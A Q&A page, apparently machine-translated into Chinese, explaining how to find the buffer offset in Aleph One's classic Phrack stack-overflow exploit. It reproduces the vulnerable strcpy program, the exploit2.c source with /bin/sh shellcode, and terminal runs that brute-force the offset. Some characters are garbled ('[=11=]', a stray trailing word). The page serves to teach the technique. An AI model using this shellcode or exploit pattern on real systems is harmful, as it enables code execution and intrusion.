你能解释一下在寻找缓冲区溢出可能性时找到缓冲区偏移量的方法吗

Can you explain the method of finding the offset of a buffer when looking for buffer overflow potential

我正在查看 aleph's article on phrack magazine。下面的代码也可以在那里找到。

我们有一个易受攻击的可执行文件,它的代码是:

vulnerable.c

void main(int argc, char *argv[]) {
  char buffer[512];

  if (argc > 1)
    strcpy(buffer,argv[1]);
}

现在,由于我们真的不知道,在尝试攻击该可执行文件(通过溢出 buffer)时,buffer 的地址是什么。我们需要知道它的地址,因为我们想覆盖 ret 以指向 buffer 的开头(我们在其中放置 shellcode)。

文中描述的猜测过程如下:

We can create a program that takes as a parameter a buffer size, and an offset from its own stack pointer (where we believe the buffer we want to overflow may live). We'll put the overflow string in an environment variable so it is easy to manipulate:

exploit2.c

#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512

char shellcode[] = //this shellcode merely opens a shell
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;

  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_sp() - offset;
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  ptr += 4;
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '[=11=]';

  memcpy(buff,"EGG=",4);
  putenv(buff);
  system("/bin/bash");
}

Now we can try to guess what the buffer and offset should be:

[aleph1]$ ./exploit2 500
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
[aleph1]$ exit
[aleph1]$ ./exploit2 600
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
Illegal instruction
[aleph1]$ exit
[aleph1]$ ./exploit2 600 100
Using address: 0xbffffd4c
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
[aleph1]$ ./exploit2 600 200
Using address: 0xbffffce8
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit2 600 1564
Using address: 0xbffff794
[aleph1]$ ./vulnerable $EGG
$

我不明白作者的意思是什么,在explot2.c中我们猜测vulnerable.c中缓冲区的大小,它是从堆栈指针的偏移量。

exploit2 的唯一目的是构建 egg 变量,它需要作为参数传递给 vulnerable。可以对其进行修改,以便自己调用 vulnerable

shellcode 变量包含调用 shell 的函数的机器代码。目标是将这段代码复制到vulnerablebuffer变量中,然后覆盖vulnerablemain函数的return地址指向shell代码的入口点,即变量buffer的地址。堆栈向下增长:堆栈指针寄存器(32位x86架构中的esp)包含当前函数局部变量使用的最小地址,在更高的地址我们找到其他局部变量,然后return 当前执行函数的地址,然后是被调用者的变量等等。对变量的溢出写入,例如 vulnerable 中的 buffer,将覆盖内存中 buffer 之后的任何内容,在本例中是 main 的 return 地址,因为buffermain 函数的局部变量。

现在我们知道该怎么做了,我们需要一些信息:

  • buffer变量的地址,我们称它为bp
  • main函数的return地址的地址,姑且称之为ra

如果我们有这些信息,我们可以伪造一个利用字符串 EGG 这样:

  • 它的长度是ra - bp + sizeof(void*)为了溢出字符串buffer足以覆盖return地址(sizeof (void*是return的大小地址)
  • 开头是要执行的漏洞利用代码,结尾是地址bp

请注意,我们只需要粗略猜测字符串的长度,因为我们可以让字符串更长,并在整个字符串中不断重复地址 bp,但我们需要计算确切的 bp 地址,如果我们希望 shell 代码被正确执行。

我们首先猜测覆盖 return 值所需的字符串长度:600 就足够了,因为它会触发 Illegal instruction 错误。找到后,我们可以查找 bp 地址。

我们知道 bp 位于堆栈的底部,因为这是存储局部变量的地方。我们假设 vulnerableexploit2 中的堆栈地址相同,我们测量 exploit2 中的堆栈地址并开始修改 offset。一旦我们获得正确的偏移量(导致 addr 等于目标 bp 的偏移量),当控制流 return 来自 main vulnerable.

函数

如果您想测试此代码,请记住这在现代机器中不起作用,因为操作系统使用执行阻止技术将包含数据的页面标记为不可执行。